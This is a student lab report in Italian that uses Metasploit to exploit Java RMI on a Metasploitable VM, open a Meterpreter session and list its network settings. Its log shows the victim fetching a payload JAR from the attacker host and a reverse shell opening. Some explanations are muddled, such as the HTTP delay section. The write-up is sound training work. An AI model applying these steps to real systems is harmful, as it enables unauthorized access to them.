

Attacco a servizio Java RMI e raccolta di informazioni

Di CARMINE MALANGONE

INTRODUZIONE

L'obiettivo di questo esercizio è stato quello di sfruttare una vulnerabilità presente nel servizio Java RMI (Remote Method Invocation) sulla macchina Metasploitable, al fine di ottenere una sessione Meterpreter e raccogliere informazioni sulla configurazione di rete e sulla tabella di routing della macchina compromessa.

Ambiente di lavoro

- Macchina attaccante: Kali Linux (192.168.11.111)
- Macchina vittima: Metasploitable (192.168.11.112)
- Vulnerabilità: Servizio Java RMI esposto sulla porta 1099
- Strumento: Metasploit Framework

msfconsole

- Apriamo un terminale sulla macchina kali e eseguiamo il comando ping con la macchina che vogliamo attaccare per verificare che ci sia comunicazione.
- Esecuzione del comando msfconsole per avviare l'interfaccia di Metasploit.

che cos'è msfconsole

- msfconsole è l'interfaccia a riga di comando principale del Metasploit Framework. Questo framework è uno strumento fondamentale nel campo della sicurezza informatica, in particolare per i penetration tester è uno strumento potente e versatile che può essere utilizzato sia da esperti di sicurezza informatica che da coloro che desiderano approfondire le proprie conoscenze in questo campo. Tuttavia, è importante utilizzarlo in modo responsabile e etico.

Java RMI

- Utilizzo del comando `search java rmi` per cercare i moduli exploit relativi a Java RMI.
- Selezione del modulo più adatto in base alla descrizione e ai dettagli della vulnerabilità.

Che cos'è Java RMI

- Java RMI (Remote Method Invocation) è una tecnologia che permette a oggetti Java che risiedono su macchine diverse di comunicare tra loro. In sostanza, consente di invocare metodi di un oggetto che si trova su un altro computer, proprio come se fosse un oggetto locale e Java RMI è un potente strumento per creare applicazioni distribuite in Java. Tuttavia, è importante valutare attentamente i vantaggi e gli svantaggi prima di sceglierlo come soluzione per un particolare progetto.

Come funziona

- **Interfaccia Remota:** Si definisce un'interfaccia che estende `java.rmi.Remote` e dichiara i metodi che si vogliono rendere accessibili da remoto.
- **Implementazione:** Si crea una classe che implementa l'interfaccia remota e fornisce la logica effettiva dei metodi.
- **Registrazione:** L'oggetto che implementa l'interfaccia viene registrato in un registro RMI, che funge da directory per gli oggetti remoti.
- **Client:** Un client può ottenere una referenza all'oggetto remoto dal registro e invocare i suoi metodi.

A cosa serve

- **Applicazioni distribuite:** Per creare applicazioni che si estendono su più macchine.
- **Architettura a componenti:** Per suddividere un'applicazione in componenti indipendenti che comunicano tra loro.
- **Servizi remoti:** Per fornire servizi a distanza, come ad esempio un servizio di autenticazione o un database remoto.

Configurazione del modulo exploit

- Impostazione dell'indirizzo IP della macchina vittima (192.168.11.112).
- Specifica della porta target (1099).
- Configurazione del payload. In questo caso, un payload Meterpreter è ideale per ottenere una sessione interattiva sulla macchina vittima.
- Impostiamo httpdelay su 20.

Che cos'è un exploit

- Un exploit è, in informatica, un codice o una tecnica che sfrutta una vulnerabilità presente in un software, un sistema operativo o un hardware per eseguire azioni non autorizzate. In pratica, è come trovare una porta aperta in una casa e entrarci senza permesso. Gli exploit rappresentano una minaccia costante per la sicurezza informatica. Per proteggersi è fondamentale adottare misure preventive e rimanere sempre aggiornati sulle ultime minacce.

Come funziona

- Ogni software ha dei "bug", ovvero degli errori di programmazione. Un exploit individua questi errori e li sfrutta per:
- Ottenerne l'accesso non autorizzato a un sistema: Questo può significare entrare in un computer, accedere a una rete o rubare dati sensibili.
- Eseguire codice malevolo: Una volta dentro, l'attaccante può installare virus, ransomware o altri tipi di malware.
- Causare un crash del sistema: L'exploit può rendere instabile o inutilizzabile un sistema.

Cosa può fare un exploit

- Accesso non autorizzato: Immaginalo come una porta secondaria aperta in una casa: l'hacker può entrare nel tuo computer senza dover forzare la porta principale (la password).
- Esecuzione di codice malevolo: Una volta dentro, l'hacker può installare virus, ransomware o altri programmi dannosi per rubare dati, crittografare i tuoi file o addirittura prendere il controllo completo del tuo dispositivo.
- Crash del sistema: In alcuni casi, l'exploit può causare il blocco completo del sistema, rendendolo

Come funziona

Che cos'è un payload

- Un payload (in italiano, "carico utile") è il contenuto effettivo di un messaggio, di un pacchetto di dati o di un file, escludendo le informazioni aggiuntive necessarie per trasmetterlo correttamente (come gli indirizzi, i protocolli o le intestazioni).

- Una volta che il payload è stato iniettato nel sistema, può eseguire una vasta gamma di azioni dannose, a seconda delle intenzioni dell'attaccante. Ecco alcuni esempi:
- Cancellazione di dati: Il payload può eliminare file o formattare interi dischi rigidi.
- Crittografia di dati (ransomware): Il payload può crittografare i file dell'utente, rendendoli inaccessibili fino al pagamento di un riscatto.
- Installazione di backdoor: Il payload può creare una porta d'ingresso nascosta nel sistema, permettendo all'hacker di accedere in futuro senza dover ripetere l'attacco.
- Creazione di una botnet: Il payload può trasformare il computer infetto in uno "zombie", controllato a distanza dall'hacker per lanciare attacchi su larga scala.
- Raccogliere informazioni sensibili: Il payload può rubare password, numeri di carte di credito o altri dati personali.

Quali fattori influenzano l'HTTP Delay

Che cos'è l'HTTP Delay

- HTTP Delay: Un collo di bottiglia nella navigazione web
- L'HTTP Delay indica un ritardo o un rallentamento nella risposta a una richiesta HTTP. In termini più semplici, è il tempo che intercorre tra il momento in cui richiedi una pagina web e il momento in cui questa viene completamente caricata sul tuo dispositivo.

- Connessione a Internet: Una connessione lenta è la causa più comune. Più la tua connessione è lenta, più tempo ci vorrà per scaricare la pagina.
- Capacità del server: Se il server è sovraccarico da molte richieste contemporanee, potrebbe impiegare più tempo a rispondere alla tua.
- Dimensioni della pagina: Più grande è la pagina, più dati devono essere trasferiti, quindi il tempo di caricamento sarà maggiore.
- Distanza geografica: La distanza fisica tra te e il server può influenzare il tempo di risposta.
- Efficienza del codice: Un codice ben ottimizzato e una struttura efficiente del sito web possono ridurre significativamente il tempo di caricamento.

Sessione Meterpreter

- Utilizzo del comando run per avviare l'exploit.
- In caso di successo, si ottiene una sessione Meterpreter sulla macchina vittima.

Che cos'è Meterpreter

- Meterpreter è un potente strumento post-exploitation incluso nel framework Metasploit. In parole semplici, è un tipo molto avanzato di payload che, una volta eseguito su un sistema compromesso, fornisce all'attaccante un accesso interattivo e completo al sistema.

Come funziona

- Sfruttamento della vulnerabilità: Tutto inizia con un exploit. Questo è un codice che sfrutta una debolezza in un software o sistema operativo per ottenere un primo accesso al sistema.
- Iniezione del payload: Una volta trovata la vulnerabilità, l'hacker inietta il payload di Meterpreter nel sistema. Il payload è essenzialmente il codice di Meterpreter stesso.
- Esecuzione del payload: Il payload si esegue sul sistema compromesso, creando una connessione inversa con il computer dell'hacker.
- Controllo remoto: A questo punto, l'hacker ha una shell interattiva sul sistema compromesso. Può eseguire qualsiasi comando, scaricare e caricare file, e molto altro.

Cosa può fare

- Shell interattiva: Fornisce un prompt di comando simile a quello del sistema operativo, permettendo all'attaccante di eseguire comandi direttamente sulla macchina compromessa.
- Trasferimento di file: Consente di scaricare e caricare file dal sistema compromesso, permettendo all'attaccante di rubare dati sensibili o installare altri malware.
- Esecuzione di codice arbitrario: L'attaccante può eseguire qualsiasi tipo di codice sulla macchina compromessa, permettendogli di prendere il controllo completo del sistema.
- Evasione delle misure di sicurezza: Meterpreter è progettato per evitare la rilevazione da parte degli antivirus e degli altri strumenti di sicurezza.
- Persistenza: Può configurare il sistema per eseguire automaticamente il payload al riavvio, garantendo un accesso persistente

```
meterpreter > if config  
[-] Unknown command: if. Run the help command for more  
meterpreter > ifconfig  
  
Interface 1  
=====  
Name      : lo - lo  
Hardware MAC : 00:00:00:00:00:00  
IPv4 Address : 127.0.0.1  
IPv4 Netmask : 255.0.0.0  
IPv6 Address : ::1  
IPv6 Netmask : ::  
  
Interface 2  
=====  
Name      : eth0 - eth0  
Hardware MAC : 00:00:00:00:00:00  
IPv4 Address : 192.168.11.112  
IPv4 Netmask : 255.255.255.0  
IPv6 Address : fe80::a00:27ff:feed:3eb1  
IPv6 Netmask : ::  
  
invio_pacch... starting po...  
meterpreter >
```

Comando ifconfig

Utilizzo del comando ifconfig per visualizzare le interfacce di rete e gli indirizzi IP associati.

File Actions Edit View Help

```
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/Qb5xkg
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58037 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:1099 → 192.168.11.112:38749) at 2024-11-15 10:19:42 +0100
```

meterpreter > route

hash

IPv4 network routes

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

IPv6 network routes

Subnet	Netmask	Gateway	Metric	Interface
fe80::1	::	::		
fe80::a00:27ff:feed:3eb1	::	::		

Comando route

Utilizzo del comando route per visualizzare la tabella di routing.

Risultati



Punto 1

Sfruttamento riuscito: È stata ottenuta una sessione Meterpreter sulla macchina Metasploitable, confermando la presenza della vulnerabilità.

Punto 2

Configurazione di rete: Abbiamo potuto visualizzare la tabella di rete con il comando rotue

Punto 3

Abbiamo potuto vedere l'IP della macchina attaccata con il comando ifconfig

Conclusioni

L'esercizio ha dimostrato come sia possibile sfruttare una vulnerabilità in un servizio Java RMI per ottenere l'accesso a una macchina remota. L'utilizzo di Metasploit ha semplificato notevolmente il processo di sfruttamento e ha permesso di raccogliere informazioni preziose sulla configurazione della macchina vittima.